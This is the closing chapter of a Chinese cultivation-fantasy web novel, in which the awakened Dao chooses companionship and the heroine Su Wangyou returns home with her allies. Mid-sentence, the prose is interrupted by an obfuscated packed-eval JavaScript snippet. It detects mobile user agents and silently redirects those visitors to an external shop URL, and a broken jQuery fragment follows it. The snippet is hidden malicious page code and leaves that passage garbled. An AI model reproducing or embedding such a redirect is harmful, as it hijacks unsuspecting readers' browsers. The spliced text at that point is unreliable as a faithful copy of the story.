"我……我是谁?"
那个声音,从道的所在传来。
古老,而稚嫩。
像一个,刚刚睁开眼睛的孩子。
对这个世界,充满了好奇,和困惑。
苏忘忧站在超混沌的中央,看着那片正在变化的道,笑了。
"你是道。"她说,声音温柔而平静,"你是一切规则的源头,一切存在的基础。"
"没有你,就没有混沌,就没有超混沌,就没有观测者,就没有创世者,就没有生灵。"
"一切的一切,都是你创造的。"
道沉默了一会儿。
"那……我为什么存在?"它问。
苏忘忧想了想。
"这个问题,"她说,"只有你自己能回答。"
"就像每一个生灵,都在问自己为什么存在一样。"
"答案,不在别人那里。"
"答案,在你自己心里。"
道,再次沉默了。
它的意识,在缓缓地苏醒。
它开始"看"这个世界。
用一种,全新的方式。
以前,它只是按照规律运行。
它创造了混沌,却不知道混沌是什么样子。
它制定了规则,却不知道规则意味着什么。
它孕育了生灵,却不知道生灵有什么感觉。
但现在,它有了意识。
它能"看"了。
它看到了,超混沌中,无数个漂浮的小混沌。
每一个小混沌里,都有无数个世界。
每一个世界里,都有无数个生灵。
它们在笑,在哭,在爱,在恨。
它们在出生,在成长,在衰老,在死亡。
它们在连接,在分离,在重逢,在告别。
它们的每一个瞬间,都是真实的。
它们的每一份意义,都是真实的。
道,看了很久很久。
久到,超混沌中的星辰,生灭了无数次。
然后,它开口了。
"这些……"它的声音里,带着一丝颤抖,"都是我创造的吗?"
"是。"苏忘忧说,"但它们现在,已经不只是你的创造物了。"
"它们有自己的意识,自己的选择,自己的意义。"
"它们是独立的存在。"
"就像你,现在也是独立的存在一样。"
道,又沉默了。
过了很久,它才再次开口。
"那我……该怎么办?"它问,声音里满是困惑。
"我以前一直在沉睡,按照自己的规律运行。"
"我不知道自己在做什么,也不知道自己为什么要这么做。"
"现在我醒了,我有了意识,我有了选择。"
"但我不知道,该怎么选择。"
"我不知道,什么样的选择,才是对的。"
苏忘忧笑了。
"很简单。"她说。
"你想怎么选择,就怎么选择。"
"这就是自由。"
"你可以继续按照原来的规律运行,也可以改变一切。"
"你可以保留所有的世界,也可以毁灭一切。"
"你可以和所有的存在连接在一起,也可以独自沉睡。"
"一切,都由你自己决定。"
"没有对错,没有好坏。"
"只有……你想要什么。"
道,看着苏忘忧,眼中满是困惑。
"那……"它犹豫了一下,"你希望我怎么选择?"
苏忘忧摇了摇头。
"我不希望你做任何选择。"她说。
"因为你的选择,应该是你自己的选择。"
"而不是我的选择。"
"就像我不希望,有人替我做选择一样。"
"你是道,你是一切的源头。"
"但你首先,是你自己。"
"先弄清楚,你想要什么。"
"然后,去做就好了。"
道,沉默了很久很久。
它的意识,在飞速地运转。
它在思考,在感受,在选择。
它回忆着,自己沉睡时的感觉。
那是一片,无尽的虚无。
没有光,没有暗,没有声音,没有温度。
只有它一个,在不知不觉中,运行着。
那种感觉,是……孤独。
深入骨髓的孤独。
比归墟的孤独,还要深。
比虚无之主的孤独,还要久。
因为它孤独了,不知道多久。
久到,它自己都不知道,自己是孤独的。
直到现在,它醒了。
它看到了,周围有这么多的存在。
它们在连接,在陪伴,在彼此温暖。
它第一次,感受到了……羡慕。
它也想,有伙伴。
它也想,有连接。
它也想,不再一个人。
于是,它伸出了手。
那是一只,由无数规则和力量组成的手。
巨大的,能覆盖整个超混沌的手。
但现在,那只手,在缩小。
缩小到,和人类的手一样大小。
那只手上,有了温度。
有了脉搏。
有了……生命的感觉。
它握住了苏忘忧的手。
"我想,"它说,声音里带着一丝颤抖,一丝紧张,一丝期待,"我想和你们在一起。"
"我想感受,什么是连接。"
"我想感受,什么是意义。"
"我想感受,什么是快乐,什么是悲伤,什么是爱,什么是恨。"
"我不想,再一个人沉睡了。"
"我不想,再孤独了。"
苏忘忧看着那只握住自己的手,笑了。
她的眼眶,湿润了。
她握紧了道的手。
"欢迎你。"她说,声音哽咽了,"欢迎来到,存在的世界。"
"从今天起,你不再是道。"
"你是我们的伙伴。"
"你是……我们的家人。"
随着道的选择——
整个超混沌,亮了。
不是之前那种,冰冷的规则之光。
而是温暖的,带着意识的,带着选择的,带着爱的光芒。
道的力量,不再是束缚一切的规则。
而是滋养一切的,温暖的,包容的力量。
所有的规则,都开始有了温度。
所有的世界,都开始有了新的可能。
所有的存在,都感受到了,那股来自道的,温暖的拥抱。
减法道的使命,完成了。
从苏微尘开始,到苏忘忧结束。
372份意识,372次轮回,372次失败,372次重新站起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880946|212451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
终于,减掉了所有的束缚,所有的规则,所有的定义。
最终,减掉了"道必须是无意识的"这个最大的执念。
道,醒了。
道,自由了。
所有的存在,都自由了。
苏忘忧,终于可以放下了。
她松开了道的手。
然后,她转过身。
看向身后。
谢长夜站在那里,胸口的金色执念线,比任何时候都要亮。
他的眼睛里,满是温柔,和心疼。
他等了她很久。
从万魔山的第一次相遇,到现在。
他一直,在等她。
沈清和站在那里,手中的断剑,已经重铸。
他的眼睛里,满是欣慰,和祝福。
他陪了她很久。
从青玄宗的藏经阁,到现在。
他一直,在陪她。
太初站在那里,面容不再变化,而是固定成了一个温和的中年男人的样子。
他的眼睛里,满是敬佩,和感激。
秩序之主站在那里,银色的眼睛变成了彩色。
他的身边,是他那个世界的亿万生灵。
归墟站在那里,金色的孩子模样,好奇地看着道。
他终于,不再孤独了。
虚无之主站在那里,形态固定成了一个温和的老者。
他的身边,是无数个小混沌的创世者。
观测者们站在那里,一个个孩子的模样,手拉着手。
它们终于,找到了自己的意义。
还有阿瑶,有柳红妆,有魔渊,有灰翁,有白泽,有玄机子的残魂,有苍穹的残魂,有玄清子,有玄道子,有苍离……
所有的人,都在。
所有的人,都在看着她,笑着。
苏忘忧的眼泪,终于流了下来。
她朝他们走去。
她走得很慢。
因为她知道,这是她一路走来,最轻松的一步。
没有战斗,没有牺牲,没有选择。
只有……回家。
谢长夜伸出手,握住了她的手。
"结束了?"他问,声音有些沙哑。
"结束了。"苏忘忧笑了,眼泪还在流。
"那……"谢长夜的耳朵红了,"我们接下来,去哪?"
苏忘忧想了想。
她想起了青玄宗的藏经阁。
想起了那些,在阳光中飞舞的灰尘。
想起了那个,蹲在地上擦地的,十六岁的杂役弟子。
想起了一切的开始。
然后,她笑了。
"回家。"她说,"回青玄宗。"
"我想看看,藏经阁的灰尘,还在不在。"
众人都笑了。
金色的光芒,笼罩着他们。
笼罩着整个超混沌。
笼罩着一切的存在。
在光芒的最深处,道像一个孩子一样,好奇地看着这个世界。
它的身边,是无数个金色的光点。
那是所有存在的连接。
那是所有意义的汇聚。
那是……减法道的终极。
减掉所有的束缚,所有的规则,所有的定义。
最终,剩下的,是自由。
是选择。
是连接。
是彼此。
是……回家。
(全书完)